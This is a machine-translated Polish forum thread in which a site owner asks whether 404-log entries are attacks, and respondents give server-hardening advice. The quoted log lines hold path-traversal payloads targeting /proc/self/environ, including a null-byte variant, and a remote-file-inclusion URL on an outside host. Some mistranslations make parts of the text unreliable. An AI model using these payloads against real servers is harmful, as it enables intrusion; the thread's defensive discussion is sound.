czy to próba włamania?

Przeglądając moje dzienniki 404 zauważyłem dwa następujące adresy URL, które wystąpiły raz:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

i

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Ta strona library.phpwymaga typezmiennej o pół tuzinie różnych dopuszczalnych wartości, a następnie idzmiennej. Może to być prawidłowy adres URL

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

a wszystkie identyfikatory są uruchamiane mysql_real_escape_stringprzed użyciem do zapytania do bazy danych.

Jestem debiutantem, ale wydaje mi się, że oba te linki są prostymi atakami na webroota?

1) Jak najlepiej chronić się przed tego rodzaju rzeczami poza 404?

2) Czy powinienem permabanować odpowiedzialne adresy IP?

EDYCJA: właśnie to zauważyłem

/library.php=http://www.basfalt.no/scripts/danger.txt

EDYCJA 2: Obraźliwe IP dla wszystkich 3 ataków było 216.97.231.15śladem dostawcy usług internetowych o nazwie Lunar Pages znajdującym się na obrzeżach Los Angeles.

EDYCJA 3: Postanowiłem zadzwonić do ISP w piątek rano czasu lokalnego i przedyskutować problem z kimkolwiek, kto może uzyskać telefon. Opublikuję wyniki tutaj za około 24 godziny.

EDYCJA 4: Skończyłem pisać e-mailem do swoich administratorów, a oni odpowiedzieli najpierw, że „szukali tego”, a następnie dzień później z „ten problem powinien zostać rozwiązany teraz”. Niestety żadnych dalszych szczegółów.

0) Tak Przynajmniej jest to systematyczna sonda przeciwko Twojej witrynie, która próbuje wykryć, czy jest podatna na ataki.

1) Oprócz upewnienia się, że kod jest czysty, niewiele można zrobić, ale uruchom własne testy na hoście, aby upewnić się, że jest bezpieczny. Google Skipfish to jedno z wielu narzędzi, które Ci w tym pomogą.

2) Chciałbym.

To jest atak, bardzo dobrze to tutaj wyjaśniono .

Jak powiedzieli inni: tak, to próba włamania. Pamiętaj, że oprócz tej prawdopodobnie ręcznie wykonanej próby, istnieje wiele automatycznych botnetów. Zasadniczo tego rodzaju ataki próbują przekraść się przez odwieczne luki w zabezpieczeniach i / lub niektóre typowe wady kodowania, takie jak brak weryfikacji poprawności danych wejściowych użytkownika prowadzący do wstrzyknięcia SQL, wycieku systemu lub pliku itp.

Ręczne banowanie tych botnetów jest najprawdopodobniej niemożliwe, ponieważ botnety mogą korzystać z tysięcy unikatowych adresów IP, więc jeśli chcesz je zablokować, będziesz musiał użyć pewnego rodzaju automatycznego programu blokującego. fail2banprzychodzi mi na myśl ; sprawiają, że reaguje na zdarzenia mod_security lub niektóre inne wpisy w dzienniku.

Jeśli twój kod jest czysty, a serwer zahartowany, te próby włamania są tylko irytującym zanieczyszczeniem dziennika. Ale lepiej jest podjąć środki ostrożności i rozważyć niektóre lub wszystkie z poniższych, w zależności od potrzeb:

• mod_security to moduł Apache odfiltrowujący wszelkiego rodzaju typowe próby włamań. Może także ograniczyć ruch wychodzący (stronę, którą Twój serwer wysyła do klienta), jeśli zobaczy podejrzane JavaScript itp.

• Suhosin do hartowania samego PHP.

• Uruchom swoje skrypty PHP jako użytkownik, który jest właścicielem skryptu; umożliwia takie rzeczy jak suphp i php-fpm .

• Zamontuj katalog tymczasowy webroot i PHP jako noexec, nosuid, nodev .

• Wyłącz niepotrzebne funkcje PHP, takie jak system i passthru .

• Wyłącz niepotrzebne moduły PHP. Na przykład, jeśli nie potrzebujesz obsługi protokołu IMAP, nie włączaj go.

• Aktualizuj swój serwer.

• Pilnuj dzienników.

• Upewnij się, że masz kopie zapasowe.

• Miej plan, co zrobić, jeśli ktoś cię zhakuje lub dotknie Cię inna katastrofa.

To dobry początek. Są jeszcze bardziej ekstremalne środki, takie jak Snort i Preludium , ale mogą być bardzo przesadne w przypadku większości konfiguracji.

Jest całkiem prawdopodobne, że maszyna, która wysyła te zapytania, to zombie botnet. Jeśli otrzymujesz te żądania z wielu adresów IP, prawdopodobnie nie warto ich banować, ponieważ musisz zablokować połowę Internetu, aby zadziałało.

Jak już wspomniano - jest to próba uzyskania dostępu do pliku / proc / self / Environment w celu uzyskania dodatkowych informacji.

Zakładam, że to maszyna linuksowa:

Powinieneś użyć

• suhosin ( http://www.hardened-php.net/suhosin/ ) - Chroni skrypty php
• użyj ograniczenia php openbasedir
• fail2ban http://www.fail2ban.org/

Możesz zablokować ip atakującego serwera, ale powinieneś wziąć pod uwagę, że może on nie być atakujący w funkcji.

Kiedyś blokowałem niektóre usługi, gdy mój serwer jest atakowany: http / https / pop / imap / ssh, ale zostaw smtp otwarte, że możesz zostać powiadomiony, jeśli popełnisz błąd.

Tak, to próba wtargnięcia. Zdecydowanie powinieneś zakazać własności intelektualnej. Jeśli stwierdzisz, że adres IP jest poza krajem, możesz po prostu zablokować całą podsieć, do której on należy. Jest to mniej problem z kodem niż problem z serwerem. Spójrz na to konkretne wtargnięcie i upewnij się, że twój dostawca hostingu nie jest na niego podatny lub podobne próby skryptu dla dzieciaków (tak to wygląda).

Jest to próba wykorzystania potencjalnej luki w zabezpieczeniach polegającej na włączeniu dowolnego pliku lokalnego w skryptach po stronie serwera dostępnych za pośrednictwem serwera WWW. W wrażliwym systemie Linux /proc/self/environmożna nadużywać do wykonywania dowolnego kodu po stronie serwera.

Zgodnie z zaleceniami Janne Pikkarainen:

Pilnuj dzienników.

Upewnij się, że masz kopie zapasowe.

W ramach tych dzienników ważne jest monitorowanie zmian dowolnych plików, w tym witryny internetowej, w ramach systemu wykrywania włamań. Przykładem jest OpenBSD, który robi to domyślnie dla plików konfiguracyjnych. Mówię o tym, ponieważ:

• W przypadku witryn w chmurze wprowadzono subtelne modyfikacje plików PHP na niestandardowo zbudowanej stronie internetowej (było to po prostu wyświetlanie niestandardowego tagu, ale być może część testu służącego do pomiaru wielkości exploita).
• Dla jednego współpracownika w pliku WordPress .htaccess wystąpiły subtelne przekierowania (tylko strony odsyłające z wyników wyszukiwania Google).
• W przypadku innego współpracownika wprowadzono subtelne modyfikacje pliku konfiguracyjnego Joomla (nie pamiętam co, myślę, że pod pewnymi warunkami było to również przekierowanie).